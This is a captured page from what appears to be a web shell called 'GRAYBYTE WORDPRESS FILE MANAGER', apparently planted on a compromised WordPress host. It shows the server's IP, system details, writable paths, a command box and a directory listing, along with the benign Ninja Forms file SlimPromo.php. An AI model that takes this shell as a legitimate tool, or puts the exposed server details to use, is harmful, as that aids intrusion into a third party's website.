GRAYBYTE WORDPRESS FILE MANAGER4610

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/giriqfky/trustyourlawyer.com/wp-content/plugins/ninja-forms/includes/Admin/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/giriqfky/trustyourlawyer.com/wp-content/plugins/ninja-forms/includes/Admin//SlimPromo.php
<?php if ( ! defined( 'ABSPATH' ) ) exit;

/**
 * NF_Slim_Promo Class
 *
 * @since 3.6
 */

class NF_Admin_SlimPromo
{
	/**
	 *
	 */
	public function __construct()
	{
		if ( ! $this->isNFAdminPage() ) {
			return;
		}

		if ( array_key_exists( 'nf-dismiss-promo-notice', $_REQUEST ) ) {
			$this->setTransient();
		}
	}

	public function isNFAdminPage()
	{
		if ( ! is_admin() ) {
			return false;
		}

		if ( ! \array_key_exists( 'page', $_REQUEST ) ) {
			return false;
		}

		if (
			strpos( 'nf', $_REQUEST[ 'page' ] ) === false &&
			strpos( 'ninja-forms', $_REQUEST[ 'page' ] ) === false
		) {
			return false;
		}

		return true;
	}

	/**
	 * Check if we should show the slim promo
	 *
	 * @return bool
	 */
	public function maybeShowSlimPromo()
	{
		if ( apply_filters( 'ninja_forms_disable_marketing', false ) ) {
			return false;
		}

		$nf_settings = get_option( 'ninja_forms_settings' );

		if (
			isset( $nf_settings[ 'disable_admin_notices' ] ) &&
			$nf_settings[ 'disable_admin_notices' ] == 1
		) {
			return false;
		}

		if ( get_transient('ninja_forms_disable_slim_promo') ) {
			return false;
		}

		return true;
	}

	/**
	 * Set the ninja_forms_disable_slim_promo transient
	 *
	 * @return Void
	 */
	public function setTransient()
	{
		set_transient('ninja_forms_disable_slim_promo', 1, DAY_IN_SECONDS * 90);
	}

	/**
	 * Echo the html for the notice
	 *
	 * @return Void
	 */
	public function getNoticeHtml()
	{
		echo '<div class="nf-notice-promo">
			<div class="wrap">
				<strong>
				<a href="https://ninjaforms.com/pricing/?utm_source=Ninja+Forms+Plugin&utm_medium=Admin+Banner&utm_campaign=Membership+Promo" target="_blank">
						' . esc_html__("Tap into even more features with 50% off any Ninja Forms membership!", "ninja-forms") . '
					</a>
				</strong>

				<a href="?page=ninja-forms&nf-dismiss-promo-notice">
					<svg xmlns="http://www.w3.org/2000/svg"  fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="4">
						<path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" />
					</svg>

					<span class="sr-only">Dismiss</span>
				</a>
			</div>
		</div>';
	}
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 10 2025 04:32:23
giriqfky / giriqfky
0755
CPT
--
July 10 2025 04:32:23
giriqfky / giriqfky
0755
Menus
--
July 10 2025 04:32:23
giriqfky / giriqfky
0755
Metaboxes
--
July 10 2025 04:32:23
giriqfky / giriqfky
0755
Processes
--
July 10 2025 04:32:23
giriqfky / giriqfky
0755
.htaccess
0.41 KB
July 10 2025 04:32:23
giriqfky / giriqfky
0644
AddFormModal.php
5.506 KB
February 22 2023 23:20:58
giriqfky / giriqfky
0644
AllFormsTable.php
8.752 KB
February 04 2020 21:17:42
giriqfky / giriqfky
0644
FooterMessage.php
1.013 KB
August 30 2022 18:49:42
giriqfky / giriqfky
0644
ManageUpdates.php
5.729 KB
April 12 2023 22:02:08
giriqfky / giriqfky
0644
Notices.php
12.118 KB
July 29 2024 13:30:44
giriqfky / giriqfky
0644
RestControllerSafeList.php
0.645 KB
July 07 2023 00:42:10
giriqfky / giriqfky
0644
SlimPromo.php
2.096 KB
January 23 2024 18:04:22
giriqfky / giriqfky
0644
SurveyPromo.php
5.696 KB
August 08 2024 18:02:38
giriqfky / giriqfky
0644
UserDataRequests.php
11.501 KB
January 30 2024 20:11:44
giriqfky / giriqfky
0644
VersionCompatibilityCheck.php
4.867 KB
December 09 2024 19:37:34
giriqfky / giriqfky
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF